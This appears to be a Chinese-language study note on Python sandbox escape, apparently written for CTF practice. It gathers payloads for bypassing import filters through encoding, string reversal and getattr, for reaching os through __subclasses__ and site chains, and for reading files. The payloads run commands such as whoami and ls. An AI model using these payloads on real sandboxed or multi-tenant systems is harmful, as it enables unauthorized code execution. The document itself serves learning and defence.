沙箱逃逸
概述
沙箱逃逸就是在在一个严格限制的python环境中,通过绕过限制和过滤达到执行更高权限,甚至getshell的过程。
在此之前我有点搞混flask框架的SSTI注入绕过和沙箱逃逸这俩东西了
-
沙箱指的的限制代码执行的环境,以获取越权访问或执行危险操作的能力。沙箱逃逸是一种与沙箱环境相关的问题,攻击者通过利用沙箱中的缺陷或漏洞来绕过限制,从而实现未授权操作。
-
SSTI绕过则是由于不正确地处理用户提供的模版输入,导致恶意代码被执行
-
沙箱逃逸更关注于绕过整个python环境的限制;而SSTI则是特定于Web应用程序的问题
-
言而总之,总而言之,两者都涉及执行恶意代码,但沙箱逃逸玩的更花???
执行命令的模块
os
pty
subprocess
plarform
commands
常用的文件读取模块
file #只在python2中执行
open
codecs
fileinput
函数导入限制和绕过
花式import
直接进制导入敏感的包,比如
import re,sys
pattern = re.compile('import\s+(os|subprocess)')
match = re.search(pattern,sys.args[1])
if match:
print "forbidden module import detected"
raise Exception
这种简单的限制不能导入包,可以中间添加空格来绕过,或者使用其他方式导入包,比如
- 利用
__import__
函数
f = __import__("pbzznaqf".decode('rot_13'))
print(f.getoutput('ifconfig'))
#import使用了ROT13解码,将"pbzznaqf"进行了解密,"pbzznaqf"经过ROT13解码后为"commands"。
__import__("pbzznaqf".decode('rot_13'))语句会导入名为"commands"的模块
f.getoutput('ifconfig')是调用了commands模块中的getoutput()函数,并传递了字符串"ifconfig"作为参数。
- 使用
importlib
库
imoprt importlib
#导入foo.py模块
foo = importlib.import_module('foo')
foo.main()
import的本质就是执行一遍导入的库,这个过程实际上可以用execfile来代替:
execfile
,前提是得知道对应的路径(2.x才能用)
execfile('/usr/lib/python2.7/os.py')
system('ls')
#3.x 删了 execfile,不过可以这样:
with open('/usr/lib/python3.6/os.py','r') as f:
exec(f.read())
system('ls')
一般情况下库都是默认路径,如果sysy没被干掉,还可以确认一下:
import sys
print(sys.path)
__builtin__
模块:可以通过reload(__builtin__)
得到完整的模块(3.x是builtins),reload被删:
import imp
imp.reload(__builtin__)
- os从
sys.modules
中删掉之后
import sys
sys.modules['os']='/usr/lib/python2.7/os.py' #python中os的默认路径
import os
- sys,os,reload全部被删,
execfile
,前提是得知道对应的路径(2.x才能用)
execfile('/usr/lib/python2.7/os.py')
system('ls')
#3.x 删了 execfile,不过可以这样:
with open('/usr/lib/python3.6/os.py','r') as f:
exec(f.read())
system('ls')
除此之外还有一些编码
花式处理字符串
- 拼接
b = 'o'
a = 's'
__import__(a+b).system('ls')
- 翻转
__import__('so'[::-1]).system('ls')
exec(')"sl"(metsys.so ;so tropmi'[::-1]
eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
- 通过getattr拿到对象的方法、属性:
import os
getattr(os, 'metsys'[::-1])('whoami')
# 或
getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')
通过继承关系逃逸
理解一下,通过继承关系逃逸就是,想要执行os,有一个site库里有,我们可以通过调用这个库来调用os
mro方法就是这个类型所继承的父类的列表
- site库里的os
import site
site.os
<module 'os' from '/Users/macr0phag3/.pyenv/versions/3.6.5/lib/python3.6/os.py'>
- 利用reload,变相加载os
import site
os = reload(site.os)
os.system('whoami')
__subclasses__
子类
for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i
''.__class__.__mro__[-1].__subclasses__()[71]._Printer__setup.__globals__['os']
#2.x 的site._Printer为例
- warnings.catch_warnings中_module属性:
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system('whoami')
小结:总的来说都是先通过属性/方法,如__class__
、__mro__
、__subclasses__
、__bases__
来获取object,再通过__global__
找引入的__builtins__
或者eval等能够直接被利用的库
文件读写
- file(2.x内建)
file('key', 'w').write('hangshuai')
- open(2.x 与 3.x 通用)
- codecs模块
import codecs
codecs.open('test.txt').read()
-
还有一些库,例如:
types.FileType
(rw)、platform.popen
(rw)、linecache.getlines
(r)。如果能写,可以将类似的文件保存为
math.py
,然后 import 进来:
import os
print(os.system('whoami'))
import math
需要注意的是,py文件命名尽量选用常用的标准库
其他
- 过滤
[]
,将[]
的功能用pop
、__getitem__
代替(实际上a[0]
就是在内部调用了a.__getitem__(0)
) - 新特性:PEP 498 引入了
f-string
,在 3.6 开始出现,船新版本:
f'{__import__("os").system("whoami")}'
- 字符串格式化:
%操作符
name = "aaa"
'%s' %name
'aaa'
string.Template
from string import Template
name = 'aaa'
tem = Template('$name')
tem.substitute(name=name)
'aaa'
format
python2.6后引用的格式化字符串的函数
name = 'aaa'
'{}'.format(name)
'aaa'
上面提到的f-String也算一种字符串格式化
-
dir
与__dict__
:列出一个模组/类/对象 下面 所有的属性和函数 -
exec command in _global
:由于exec
运行在自定义的全局命名空间里,会处于受限执行模式,exec
加上定制的globals
会使得沙箱安全很多,一些常规的payload是没法使用的 -
但由于
exec
运行在特定的命名空间里,可以通过其他命名空间里的__builtins__
,比如types
库,来执行任意命令:getattr(__import__('types').__builtins__['__tropmi__'[::-1]]('so'[::-1]), 'mets' 'ys'[::-1])('whoami')